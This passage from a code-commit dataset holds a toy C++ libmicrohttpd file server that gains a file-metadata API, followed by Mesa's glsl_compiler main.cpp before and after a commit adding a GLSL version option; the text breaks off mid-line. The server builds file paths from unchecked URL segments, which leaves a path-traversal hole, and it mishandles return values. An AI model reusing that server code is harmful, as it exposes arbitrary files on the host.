JsonString(\"files\"), a);\n      output = j->ToString();\n    }\n  }\n  else {\n    SmartPointer<JsonObject> j = new JsonObject();\n    j->Add(new JsonString(\"error\"), new JsonString(\"invalid api\"));\n\n    output = j->ToString();\n  }\n\n  MHD_Response* response = MHD_create_response_from_buffer(output->length(),\n    (void*)output->toCharArray(), MHD_RESPMEM_MUST_COPY);\n\n  int result = MHD_queue_response(connection, MHD_HTTP_OK, response);\n  MHD_destroy_response(response);\n  return result;\n}\n\nint client_processor(void* cls, MHD_Connection* connection,\n                     const char* url,\n                     const char* method, const char* version,\n                     const char* upload_data,\n                     size_t* upload_data_size, void** con_cls)\n{\n  vector<String> tokens;\n  String::tokenize(url, '\/', tokens);\n  int result;\n\n  if (tokens.size() >= 2) {\n    if (tokens[1] == \"discover\") {\n      result = route_discover(cls, connection, url, method, version,\n        upload_data, upload_data_size, con_cls, tokens);\n    }\n    else if (tokens[1] == \"api\") {\n      route_api(cls, connection, url, method, version,\n        upload_data, upload_data_size, con_cls, tokens);\n    }\n    else {\n      result = enqueue_404_response(connection);\n    }\n  }\n\n  return result;\n}\n\nint main(int argc, char* argv[])\n{\n  MHD_Daemon* daemon;\n  daemon = MHD_start_daemon(MHD_USE_SELECT_INTERNALLY, kPort, NULL, NULL,\n    &client_processor, NULL, MHD_OPTION_END);\n\n  if (daemon == NULL) {\n    return 1;\n  }\n\n  getchar();\n\n  MHD_stop_daemon(daemon);\n  return 0;\n}\n<commit_msg>add api to get file metadata<commit_after>\/\/#include \"fused.h\"\n#include <sys\/types.h>\n#include <sys\/select.h>\n#include <sys\/socket.h>\n#include <sys\/stat.h>\n#include <string.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <vector>\n#include \"microhttpd.h\"\n#include \"String.h\"\n#include \"JsonValue.h\"\n#include \"JsonObject.h\"\n#include \"JsonString.h\"\n#include \"JsonArray.h\"\n#include \"JsonNull.h\"\n#include \"JsonNumber.h\"\n#include \"SmartPointer.h\"\n\nusing std::vector;\n\nusing lepcpplib::JsonValue;\nusing lepcpplib::JsonObject;\nusing lepcpplib::JsonString;\nusing lepcpplib::JsonArray;\nusing lepcpplib::JsonNull;\nusing lepcpplib::JsonNumber;\nusing lepcpplib::SmartPointer;\nusing lepcpplib::String;\n\nconst short int kPort = 8888;\nconst int kFileBlockSize = 32 * 1024 * 1024;\nconst String k404 = \"<html><head><title>File not found<\/title><\/head><body>File not found<\/body><\/html>\";\n\nint enqueue_404_response(MHD_Connection* connection)\n{\n    MHD_Response* response = MHD_create_response_from_buffer(k404.length(),\n      (void*)k404.toCharArray(), MHD_RESPMEM_PERSISTENT);\n\n    int result = MHD_queue_response(connection, MHD_HTTP_NOT_FOUND, response);\n    MHD_destroy_response(response);\n\n    return result;\n}\n\nssize_t file_server_callback(void *cls, uint64_t pos, char *buf, size_t max)\n{\n  FILE* f = (FILE*)cls;\n  fseek(f, pos, SEEK_SET);\n  return fread(buf, 1, max, f);\n}\n\nvoid file_server_free_callback(void* cls)\n{\n  fclose((FILE*)cls);\n}\n\nint serve_file(MHD_Connection* connection, String& filename)\n{\n  MHD_Response* response = NULL;\n  struct stat filestats;\n  int result = stat(filename.toCharArray(), &filestats);\n  if (result != -1) {\n    FILE* fp = fopen(filename.toCharArray(), \"r\");\n    response = MHD_create_response_from_callback (filestats.st_size,\n               kFileBlockSize, file_server_callback, fp, file_server_free_callback);\n    result = MHD_queue_response(connection, MHD_HTTP_OK, response);\n  }\n  else {\n    result = enqueue_404_response(connection);\n  }\n\n  MHD_destroy_response(response);\n  return result;\n}\n\nint route_discover(void* cls, MHD_Connection* connection,\n                   const char* url,\n                   const char* method, const char* version,\n                   const char* upload_data,\n                   size_t* upload_data_size, void** con_cls,\n                   vector<String>& tokens)\n{\n  MHD_Response* response;\n  int result;\n  String filename;\n  if (tokens.size() == 2) {\n    filename = \"..\/www\/html\/discover.html\";\n  }\n  else {\n    filename = \"..\/www\/html\";\n    for (int i = 2; i < tokens.size(); ++i)\n    {\n      filename = filename + \"\/\" + tokens[i]; \n    }\n  }\n\n  return serve_file(connection, filename);\n}\n\nint route_api(void* cls, MHD_Connection* connection,\n              const char* url,\n              const char* method, const char* version,\n              const char* upload_data,\n              size_t* upload_data_size, void** con_cls,\n              vector<String>& tokens)\n{\n  SmartPointer<String> output;\n\n  int token_count = tokens.size();\n  if ((token_count >= 4) && (tokens[2] == \"get\") && (tokens[3] == \"tags\")) {\n    JsonObject* j1 = new JsonObject();\n    j1->Add(new JsonString(\"name\"), new JsonString(\"root\"));\n    j1->Add(new JsonString(\"id\"), new JsonNumber(0));\n    j1->Add(new JsonString(\"parent\"), new JsonNull());\n\n    JsonObject* j2 = new JsonObject();\n    j2->Add(new JsonString(\"name\"), new JsonString(\"home\"));\n    j2->Add(new JsonString(\"id\"), new JsonNumber(1));\n    j2->Add(new JsonString(\"parent\"), new JsonString(\"root\"));\n\n    JsonArray* a = new JsonArray();\n    a->Add(j1);\n    a->Add(j2);\n\n    SmartPointer<JsonObject> j = new JsonObject();\n    j->Add(new JsonString(\"tags\"), a);\n\n    output = j->ToString();\n  }\n  else if ((token_count >= 5) && (tokens[2] == \"get\") && (tokens[3] == \"tag\")) {\n    int tag_id = String::toInt(tokens[4].toCharArray());\n\n    if (tag_id == 0) {\n      JsonObject* j1 = new JsonObject();\n      j1->Add(new JsonString(\"name\"), new JsonString(\"file1.txt\"));\n      j1->Add(new JsonString(\"id\"), new JsonNumber(0));\n\n      JsonObject* j2 = new JsonObject();\n      j2->Add(new JsonString(\"name\"), new JsonString(\"file2.jpg\"));\n      j2->Add(new JsonString(\"id\"), new JsonNumber(1));\n\n      JsonArray* a = new JsonArray();\n      a->Add(j1);\n      a->Add(j2);\n\n      SmartPointer<JsonObject> j = new JsonObject();\n      j->Add(new JsonString(\"files\"), a);\n      output = j->ToString();\n    }\n    else {\n      JsonObject* j1 = new JsonObject();\n      j1->Add(new JsonString(\"name\"), new JsonString(\"file3.mp4\"));\n      j1->Add(new JsonString(\"id\"), new JsonNumber(2));\n\n      JsonObject* j2 = new JsonObject();\n      j2->Add(new JsonString(\"name\"), new JsonString(\"file4.mp3\"));\n      j2->Add(new JsonString(\"id\"), new JsonNumber(3));\n\n      JsonArray* a = new JsonArray();\n      a->Add(j1);\n      a->Add(j2);\n\n      SmartPointer<JsonObject> j = new JsonObject();\n      j->Add(new JsonString(\"files\"), a);\n      output = j->ToString();\n    }\n  }\n  else if ((token_count >= 5) && (tokens[2] == \"get\") && (tokens[3] == \"file\")) {\n    int file_id = String::toInt(tokens[4].toCharArray());\n\n    if (file_id == 0) {\n      SmartPointer<JsonObject> j = new JsonObject();\n      j->Add(new JsonString(\"name\"), new JsonString(\"file1.txt\"));\n      j->Add(new JsonString(\"id\"), new JsonNumber(0));\n      j->Add(new JsonString(\"type\"), new JsonString(\"Text document\"));\n      j->Add(new JsonString(\"last_modified\"), new JsonString(\"Sat 14 Sep 2013 01:14:35 AM PDT\"));\n\n      JsonObject* j1 = new JsonObject();\n      j1->Add(new JsonString(\"name\"), new JsonString(\"anothertag1\"));\n      j1->Add(new JsonString(\"id\"), new JsonNumber(3));\n\n      JsonObject* j2 = new JsonObject();\n      j2->Add(new JsonString(\"name\"), new JsonString(\"anothertag2\"));\n      j2->Add(new JsonString(\"id\"), new JsonNumber(4));\n\n      JsonArray* a = new JsonArray();\n      a->Add(j1);\n      a->Add(j2);\n\n      j->Add(new JsonString(\"tags\"), a);\n      output = j->ToString();\n    }\n    else {\n      SmartPointer<JsonObject> j = new JsonObject();\n      j->Add(new JsonString(\"name\"), new JsonString(\"file2.jpg\"));\n      j->Add(new JsonString(\"id\"), new JsonNumber(0));\n      j->Add(new JsonString(\"type\"), new JsonString(\"JPEG image\"));\n      j->Add(new JsonString(\"last_modified\"), new JsonString(\"Sat 14 Sep 2013 01:14:35 AM PDT\"));\n\n\n      JsonObject* j1 = new JsonObject();\n      j1->Add(new JsonString(\"name\"), new JsonString(\"anothertag3\"));\n      j1->Add(new JsonString(\"id\"), new JsonNumber(4));\n\n      JsonObject* j2 = new JsonObject();\n      j2->Add(new JsonString(\"name\"), new JsonString(\"anothertag4\"));\n      j2->Add(new JsonString(\"id\"), new JsonNumber(5));\n\n      JsonArray* a = new JsonArray();\n      a->Add(j1);\n      a->Add(j2);\n\n      j->Add(new JsonString(\"tags\"), a);\n      output = j->ToString();\n    }\n  }\n  else {\n    SmartPointer<JsonObject> j = new JsonObject();\n    j->Add(new JsonString(\"error\"), new JsonString(\"invalid api\"));\n\n    output = j->ToString();\n  }\n\n  MHD_Response* response = MHD_create_response_from_buffer(output->length(),\n    (void*)output->toCharArray(), MHD_RESPMEM_MUST_COPY);\n\n  int result = MHD_queue_response(connection, MHD_HTTP_OK, response);\n  MHD_destroy_response(response);\n  return result;\n}\n\nint client_processor(void* cls, MHD_Connection* connection,\n                     const char* url,\n                     const char* method, const char* version,\n                     const char* upload_data,\n                     size_t* upload_data_size, void** con_cls)\n{\n  vector<String> tokens;\n  String::tokenize(url, '\/', tokens);\n  int result;\n\n  if (tokens.size() >= 2) {\n    if (tokens[1] == \"discover\") {\n      result = route_discover(cls, connection, url, method, version,\n        upload_data, upload_data_size, con_cls, tokens);\n    }\n    else if (tokens[1] == \"api\") {\n      route_api(cls, connection, url, method, version,\n        upload_data, upload_data_size, con_cls, tokens);\n    }\n    else {\n      result = enqueue_404_response(connection);\n    }\n  }\n\n  return result;\n}\n\nint main(int argc, char* argv[])\n{\n  MHD_Daemon* daemon;\n  daemon = MHD_start_daemon(MHD_USE_SELECT_INTERNALLY, kPort, NULL, NULL,\n    &client_processor, NULL, MHD_OPTION_END);\n\n  if (daemon == NULL) {\n    return 1;\n  }\n\n  getchar();\n\n  MHD_stop_daemon(daemon);\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright © 2008, 2009 Intel Corporation\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and\/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice (including the next\n * paragraph) shall be included in all copies or substantial portions of the\n * Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL\n * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n * DEALINGS IN THE SOFTWARE.\n *\/\n#include <getopt.h>\n\n\/** @file main.cpp\n *\n * This file is the main() routine and scaffolding for producing\n * builtin_compiler (which doesn't include builtins itself and is used\n * to generate the profile information for builtin_function.cpp), and\n * for glsl_compiler (which does include builtins and can be used to\n * offline compile GLSL code and examine the resulting GLSL IR.\n *\/\n\n#include \"ast.h\"\n#include \"glsl_parser_extras.h\"\n#include \"ir_optimization.h\"\n#include \"program.h\"\n#include \"loop_analysis.h\"\n#include \"standalone_scaffolding.h\"\n\nstatic void\ninitialize_context(struct gl_context *ctx, gl_api api)\n{\n   initialize_context_to_defaults(ctx, api);\n\n   \/* The standalone compiler needs to claim support for almost\n    * everything in order to compile the built-in functions.\n    *\/\n   ctx->Const.GLSLVersion = 330;\n   ctx->Extensions.ARB_ES3_compatibility = true;\n\n   ctx->Const.MaxClipPlanes = 8;\n   ctx->Const.MaxDrawBuffers = 2;\n\n   \/* More than the 1.10 minimum to appease parser tests taken from\n    * apps that (hopefully) already checked the number of coords.\n    *\/\n   ctx->Const.MaxTextureCoordUnits = 4;\n\n   ctx->Driver.NewShader = _mesa_new_shader;\n}\n\n\/* Returned string will have 'ctx' as its ralloc owner. *\/\nstatic char *\nload_text_file(void *ctx, const char *file_name)\n{\n\tchar *text = NULL;\n\tsize_t size;\n\tsize_t total_read = 0;\n\tFILE *fp = fopen(file_name, \"rb\");\n\n\tif (!fp) {\n\t\treturn NULL;\n\t}\n\n\tfseek(fp, 0L, SEEK_END);\n\tsize = ftell(fp);\n\tfseek(fp, 0L, SEEK_SET);\n\n\ttext = (char *) ralloc_size(ctx, size + 1);\n\tif (text != NULL) {\n\t\tdo {\n\t\t\tsize_t bytes = fread(text + total_read,\n\t\t\t\t\t     1, size - total_read, fp);\n\t\t\tif (bytes < size - total_read) {\n\t\t\t\tfree(text);\n\t\t\t\ttext = NULL;\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tif (bytes == 0) {\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\ttotal_read += bytes;\n\t\t} while (total_read < size);\n\n\t\ttext[total_read] = '\\0';\n\t}\n\n\tfclose(fp);\n\n\treturn text;\n}\n\nint glsl_es = 0;\nint dump_ast = 0;\nint dump_hir = 0;\nint dump_lir = 0;\nint do_link = 0;\n\nconst struct option compiler_opts[] = {\n   { \"glsl-es\",  no_argument, &glsl_es,  1 },\n   { \"dump-ast\", no_argument, &dump_ast, 1 },\n   { \"dump-hir\", no_argument, &dump_hir, 1 },\n   { \"dump-lir\", no_argument, &dump_lir, 1 },\n   { \"link\",     no_argument, &do_link,  1 },\n   { NULL, 0, NULL, 0 }\n};\n\n\/**\n * \\brief Print proper usage and exit with failure.\n *\/\nvoid\nusage_fail(const char *name)\n{\n\n   const char *header =\n      \"usage: %s [options] <file.vert | file.geom | file.frag>\\n\"\n      \"\\n\"\n      \"Possible options are:\\n\";\n   printf(header, name, name);\n   for (const struct option *o = compiler_opts; o->name != 0; ++o) {\n      printf(\"    --%s\\n\", o->name);\n   }\n   exit(EXIT_FAILURE);\n}\n\n\nvoid\ncompile_shader(struct gl_context *ctx, struct gl_shader *shader)\n{\n   struct _mesa_glsl_parse_state *state =\n      new(shader) _mesa_glsl_parse_state(ctx, shader->Type, shader);\n\n   _mesa_glsl_compile_shader(ctx, shader, dump_ast, dump_hir);\n\n   \/* Print out the resulting IR *\/\n   if (!state->error && dump_lir) {\n      _mesa_print_ir(shader->ir, state);\n   }\n\n   return;\n}\n\nint\nmain(int argc, char **argv)\n{\n   int status = EXIT_SUCCESS;\n   struct gl_context local_ctx;\n   struct gl_context *ctx = &local_ctx;\n\n   int c;\n   int idx = 0;\n   while ((c = getopt_long(argc, argv, \"\", compiler_opts, &idx)) != -1)\n      \/* empty *\/ ;\n\n\n   if (argc <= optind)\n      usage_fail(argv[0]);\n\n   initialize_context(ctx, (glsl_es) ? API_OPENGLES2 : API_OPENGL_COMPAT);\n\n   struct gl_shader_program *whole_program;\n\n   whole_program = rzalloc (NULL, struct gl_shader_program);\n   assert(whole_program != NULL);\n   whole_program->InfoLog = ralloc_strdup(whole_program, \"\");\n\n   for (\/* empty *\/; argc > optind; optind++) {\n      whole_program->Shaders =\n\t reralloc(whole_program, whole_program->Shaders,\n\t\t  struct gl_shader *, whole_program->NumShaders + 1);\n      assert(whole_program->Shaders != NULL);\n\n      struct gl_shader *shader = rzalloc(whole_program, gl_shader);\n\n      whole_program->Shaders[whole_program->NumShaders] = shader;\n      whole_program->NumShaders++;\n\n      const unsigned len = strlen(argv[optind]);\n      if (len < 6)\n\t usage_fail(argv[0]);\n\n      const char *const ext = & argv[optind][len - 5];\n      if (strncmp(\".vert\", ext, 5) == 0 || strncmp(\".glsl\", ext, 5) == 0)\n\t shader->Type = GL_VERTEX_SHADER;\n      else if (strncmp(\".geom\", ext, 5) == 0)\n\t shader->Type = GL_GEOMETRY_SHADER;\n      else if (strncmp(\".frag\", ext, 5) == 0)\n\t shader->Type = GL_FRAGMENT_SHADER;\n      else\n\t usage_fail(argv[0]);\n\n      shader->Source = load_text_file(whole_program, argv[optind]);\n      if (shader->Source == NULL) {\n\t printf(\"File \\\"%s\\\" does not exist.\\n\", argv[optind]);\n\t exit(EXIT_FAILURE);\n      }\n\n      compile_shader(ctx, shader);\n\n      if (!shader->CompileStatus) {\n\t printf(\"Info log for %s:\\n%s\\n\", argv[optind], shader->InfoLog);\n\t status = EXIT_FAILURE;\n\t break;\n      }\n   }\n\n   if ((status == EXIT_SUCCESS) && do_link)  {\n      link_shaders(ctx, whole_program);\n      status = (whole_program->LinkStatus) ? EXIT_SUCCESS : EXIT_FAILURE;\n\n      if (strlen(whole_program->InfoLog) > 0)\n\t printf(\"Info log for linking:\\n%s\\n\", whole_program->InfoLog);\n   }\n\n   for (unsigned i = 0; i < MESA_SHADER_TYPES; i++)\n      ralloc_free(whole_program->_LinkedShaders[i]);\n\n   ralloc_free(whole_program);\n   _mesa_glsl_release_types();\n   _mesa_glsl_release_builtin_functions();\n\n   return status;\n}\n<commit_msg>glsl_compiler: Set max GLSL version on the command line<commit_after>\/*\n * Copyright © 2008, 2009 Intel Corporation\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and\/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice (including the next\n * paragraph) shall be included in all copies or substantial portions of the\n * Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL\n * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n * DEALINGS IN THE SOFTWARE.\n *\/\n#include <getopt.h>\n\n\/** @file main.cpp\n *\n * This file is the main() routine and scaffolding for producing\n * builtin_compiler (which doesn't include builtins itself and is used\n * to generate the profile information for builtin_function.cpp), and\n * for glsl_compiler (which does include builtins and can be used to\n * offline compile GLSL code and examine the resulting GLSL IR.\n *\/\n\n#include \"ast.h\"\n#include \"glsl_parser_extras.h\"\n#include \"ir_optimization.h\"\n#include \"program.h\"\n#include \"loop_analysis.h\"\n#include \"standalone_scaffolding.h\"\n\nstatic int glsl_version = 330;\n\nstatic void\ninitialize_context(struct gl_context *ctx, gl_api api)\n{\n   initialize_context_to_defaults(ctx, api);\n\n   \/* The standalone compiler needs to claim support for almost\n    * everything in order to compile the built-in functions.\n    *\/\n   ctx->Const.GLSLVersion = glsl_version;\n   ctx->Extensions.ARB_ES3_compatibility = true;\n\n   switch (ctx->Const.GLSLVersion) {\n   case 100:\n      ctx->Const.MaxClipPlanes = 0;\n      ctx->Const.MaxCombinedTextureImageUnits = 8;\n      ctx->Const.MaxDrawBuffers = 2;\n      ctx->Const.MinProgramTexelOffset = 0;\n      ctx->Const.MaxProgramTexelOffset = 0;\n      ctx->Const.MaxLights = 0;\n      ctx->Const.MaxTextureCoordUnits = 0;\n      ctx->Const.MaxTextureUnits = 8;\n\n      ctx->Const.VertexProgram.MaxAttribs = 8;\n      ctx->Const.VertexProgram.MaxTextureImageUnits = 0;\n      ctx->Const.VertexProgram.MaxUniformComponents = 128 * 4;\n      ctx->Const.VertexProgram.MaxInputComponents = 0; \/* not used *\/\n      ctx->Const.VertexProgram.MaxOutputComponents = 32;\n\n      ctx->Const.FragmentProgram.MaxTextureImageUnits =\n         ctx->Const.MaxCombinedTextureImageUnits;\n      ctx->Const.FragmentProgram.MaxUniformComponents = 16 * 4;\n      ctx->Const.FragmentProgram.MaxInputComponents =\n         ctx->Const.VertexProgram.MaxOutputComponents;\n      ctx->Const.FragmentProgram.MaxOutputComponents = 0; \/* not used *\/\n\n      ctx->Const.MaxVarying = ctx->Const.VertexProgram.MaxOutputComponents \/ 4;\n      break;\n   case 110:\n   case 120:\n      ctx->Const.MaxClipPlanes = 6;\n      ctx->Const.MaxCombinedTextureImageUnits = 2;\n      ctx->Const.MaxDrawBuffers = 1;\n      ctx->Const.MinProgramTexelOffset = 0;\n      ctx->Const.MaxProgramTexelOffset = 0;\n      ctx->Const.MaxLights = 8;\n      ctx->Const.MaxTextureCoordUnits = 2;\n      ctx->Const.MaxTextureUnits = 2;\n\n      ctx->Const.VertexProgram.MaxAttribs = 16;\n      ctx->Const.VertexProgram.MaxTextureImageUnits = 0;\n      ctx->Const.VertexProgram.MaxUniformComponents = 512;\n      ctx->Const.VertexProgram.MaxInputComponents = 0; \/* not used *\/\n      ctx->Const.VertexProgram.MaxOutputComponents = 32;\n\n      ctx->Const.FragmentProgram.MaxTextureImageUnits =\n         ctx->Const.MaxCombinedTextureImageUnits;\n      ctx->Const.FragmentProgram.MaxUniformComponents = 64;\n      ctx->Const.FragmentProgram.MaxInputComponents =\n         ctx->Const.VertexProgram.MaxOutputComponents;\n      ctx->Const.FragmentProgram.MaxOutputComponents = 0; \/* not used *\/\n\n      ctx->Const.MaxVarying = ctx->Const.VertexProgram.MaxOutputComponents \/ 4;\n      break;\n   case 130:\n   case 140:\n      ctx->Const.MaxClipPlanes = 8;\n      ctx->Const.MaxCombinedTextureImageUnits = 16;\n      ctx->Const.MaxDrawBuffers = 8;\n      ctx->Const.MinProgramTexelOffset = -8;\n      ctx->Const.MaxProgramTexelOffset = 7;\n      ctx->Const.MaxLights = 8;\n      ctx->Const.MaxTextureCoordUnits = 8;\n      ctx->Const.MaxTextureUnits = 2;\n\n      ctx->Const.VertexProgram.MaxAttribs = 16;\n      ctx->Const.VertexProgram.MaxTextureImageUnits = 16;\n      ctx->Const.VertexProgram.MaxUniformComponents = 1024;\n      ctx->Const.VertexProgram.MaxInputComponents = 0; \/* not used *\/\n      ctx->Const.VertexProgram.MaxOutputComponents = 64;\n\n      ctx->Const.FragmentProgram.MaxTextureImageUnits = 16;\n      ctx->Const.FragmentProgram.MaxUniformComponents = 1024;\n      ctx->Const.FragmentProgram.MaxInputComponents =\n         ctx->Const.VertexProgram.MaxOutputComponents;\n      ctx->Const.FragmentProgram.MaxOutputComponents = 0; \/* not used *\/\n\n      ctx->Const.MaxVarying = ctx->Const.VertexProgram.MaxOutputComponents \/ 4;\n      break;\n   case 150:\n   case 330:\n      ctx->Const.MaxClipPlanes = 8;\n      ctx->Const.MaxDrawBuffers = 8;\n      ctx->Const.MinProgramTexelOffset = -8;\n      ctx->Const.MaxProgramTexelOffset = 7;\n      ctx->Const.MaxLights = 8;\n      ctx->Const.MaxTextureCoordUnits = 8;\n      ctx->Const.MaxTextureUnits = 2;\n\n      ctx->Const.VertexProgram.MaxAttribs = 16;\n      ctx->Const.VertexProgram.MaxTextureImageUnits = 16;\n      ctx->Const.VertexProgram.MaxUniformComponents = 1024;\n      ctx->Const.VertexProgram.MaxInputComponents = 0; \/* not used *\/\n      ctx->Const.VertexProgram.MaxOutputComponents = 64;\n\n      ctx->Const.GeometryProgram.MaxTextureImageUnits = 16;\n      ctx->Const.GeometryProgram.MaxUniformComponents = 1024;\n      ctx->Const.GeometryProgram.MaxInputComponents =\n         ctx->Const.VertexProgram.MaxOutputComponents;\n      ctx->Const.GeometryProgram.MaxOutputComponents = 128;\n\n      ctx->Const.FragmentProgram.MaxTextureImageUnits = 16;\n      ctx->Const.FragmentProgram.MaxUniformComponents = 1024;\n      ctx->Const.FragmentProgram.MaxInputComponents =\n         ctx->Const.GeometryProgram.MaxOutputComponents;\n      ctx->Const.FragmentProgram.MaxOutputComponents = 0; \/* not used *\/\n\n      ctx->Const.MaxCombinedTextureImageUnits =\n         ctx->Const.VertexProgram.MaxTextureImageUnits\n         + ctx->Const.GeometryProgram.MaxTextureImageUnits\n         + ctx->Const.FragmentProgram.MaxTextureImageUnits;\n\n      ctx->Const.MaxGeometryOutputVertices = 256;\n      ctx->Const.MaxGeometryTotalOutputComponents = 1024;\n\n\/\/      ctx->Const.MaxGeometryVaryingComponents = 64;\n\n      ctx->Const.MaxVarying = 60 \/ 4;\n      break;\n   case 300:\n      ctx->Const.MaxClipPlanes = 8;\n      ctx->Const.MaxCombinedTextureImageUnits = 32;\n      ctx->Const.MaxDrawBuffers = 4;\n      ctx->Const.MinProgramTexelOffset = -8;\n      ctx->Const.MaxProgramTexelOffset = 7;\n      ctx->Const.MaxLights = 0;\n      ctx->Const.MaxTextureCoordUnits = 0;\n      ctx->Const.MaxTextureUnits = 0;\n\n      ctx->Const.VertexProgram.MaxAttribs = 16;\n      ctx->Const.VertexProgram.MaxTextureImageUnits = 16;\n      ctx->Const.VertexProgram.MaxUniformComponents = 1024;\n      ctx->Const.VertexProgram.MaxInputComponents = 0; \/* not used *\/\n      ctx->Const.VertexProgram.MaxOutputComponents = 16 * 4;\n\n      ctx->Const.FragmentProgram.MaxTextureImageUnits = 16;\n      ctx->Const.FragmentProgram.MaxUniformComponents = 224;\n      ctx->Const.FragmentProgram.MaxInputComponents = 15 * 4;\n      ctx->Const.FragmentProgram.MaxOutputComponents = 0; \/* not used *\/\n\n      ctx->Const.MaxVarying = ctx->Const.FragmentProgram.MaxInputComponents \/ 4;\n      break;\n   }\n\n   ctx->Driver.NewShader = _mesa_new_shader;\n}\n\n\/* Returned string will have 'ctx' as its ralloc owner. *\/\nstatic char *\nload_text_file(void *ctx, const char *file_name)\n{\n\tchar *text = NULL;\n\tsize_t size;\n\tsize_t total_read = 0;\n\tFILE *fp = fopen(file_name, \"rb\");\n\n\tif (!fp) {\n\t\treturn NULL;\n\t}\n\n\tfseek(fp, 0L, SEEK_END);\n\tsize = ftell(fp);\n\tfseek(fp, 0L, SEEK_SET);\n\n\ttext = (char *) ralloc_size(ctx, size + 1);\n\tif (text != NULL) {\n\t\tdo {\n\t\t\tsize_t bytes = fread(text + total_read,\n\t\t\t\t\t     1, size - total_read, fp);\n\t\t\tif (bytes < size - total_read) {\n\t\t\t\tfree(text);\n\t\t\t\ttext = NULL;\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tif (bytes == 0) {\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\ttotal_read += bytes;\n\t\t} while (total_read < size);\n\n\t\ttext[total_read] = '\\0';\n\t}\n\n\tfclose(fp);\n\n\treturn text;\n}\n\nint dump_ast = 0;\nint dump_hir = 0;\nint dump_lir = 0;\nint do_link = 0;\n\nconst struct option compiler_opts[] = {\n   { \"dump-ast\", no_argument, &dump_ast, 1 },\n   { \"dump-hir\", no_argument, &dump_hir, 1 },\n   { \"dump-lir\", no_argument, &dump_lir, 1 },\n   { \"link\",     no_argument, &do_link,  1 },\n   { \"version\",  required_argument, NULL, 'v' },\n   { NULL, 0, NULL, 0 }\n};\n\n\/**\n * \\brief Print proper usage and exit with failure.\n *\/\nvoid\nusage_fail(const char *name)\n{\n\n   const char *header =\n      \"usage: %s [options] <file.vert | file.geom | file.frag>\\n\"\n      \"\\n\"\n      \"Possible options are:\\n\";\n   printf(header, name, name);\n   for (const struct option *o = compiler_opts; o->name != 0; ++o) {\n      printf(\"    --%s\\n\", o->name);\n   }\n   exit(EXIT_FAILURE);\n}\n\n\nvoid\ncompile_shader(struct gl_context *ctx, struct gl_shader *shader)\n{\n   struct _mesa_glsl_parse_state *state =\n      new(shader) _mesa_glsl_parse_state(ctx, shader->Type, shader);\n\n   _mesa_glsl_compile_shader(ctx, shader, dump_ast, dump_hir);\n\n   \/* Print out the resulting IR *\/\n   if (!state->error && dump_lir) {\n      _mesa_print_ir(shader->ir, state);\n   }\n\n   return;\n}\n\nint\nmain(int argc, char **argv)\n{\n   int status = EXIT_SUCCESS;\n   struct gl_context local_ctx;\n   struct gl_context *ctx = &local_ctx;\n   bool glsl_es = false;\n\n   int c;\n   int idx = 0;\n   while ((c = getopt_long(argc, argv, \"\", compiler_opts, &idx)) != -1) {\n      switch (c) {\n      case 'v':\n         glsl_version = strtol(optarg, NULL, 10);\n         switch (glsl_version) {\n         case 100:\n         case 300:\n            glsl_es = true;\n            break;\n         case 110:\n         case 120:\n         case 130:\n         case 140:\n         case 150:\n         case 330:\n            glsl_es = false;\n            break;\n         default:\n            fprintf(stderr, \"Unrecognized GLSL version `%s'\\n\", optarg);\n            usage_fail(argv[0]);\n            break;\n         }\n         break;\n      default:\n         break;\n      }\n   }\n\n\n   if (argc <= optind)\n      usage_fail(argv[0]);\n\n   initialize_context(ctx, (glsl_es) ? API_OPENGLES2 : API_OPENGL_COMPAT);\n\n   struct gl_shader_program *whole_program;\n\n   whole_program = rzalloc (NULL, struct gl_shader_program);\n   assert(whole_program != NULL);\n   whole_program->InfoLog = ralloc_strdup(whole_program, \"\");\n\n   for (\/* empty *\/; argc > optind; optind++) {\n      whole_program->Shaders =\n\t reralloc(whole_program, whole_program->Shaders,\n\t\t  struct gl_shader *, whole_program->NumShaders + 1);\n      assert(whole_program->Shaders != NULL);\n\n      struct gl_shader *shader = rzalloc(whole_program, gl_shader);\n\n      whole_program->Shaders[whole_program->NumShaders] = shader;\n      whole_program->NumShaders++;\n\n      const unsigned len = strlen(argv[optind]);\n      if (len < 6)\n\t usage_fail(argv[0]);\n\n      const char *const ext = & argv[optind][len - 5];\n      if (strncmp(\".vert\", ext, 5) == 0 || strncmp(\".glsl\", ext, 5) == 0)\n\t shader->Type = GL_VERTEX_SHADER;\n      else if (strncmp(\".geom\", ext, 5) == 0)\n\t shader->Type = 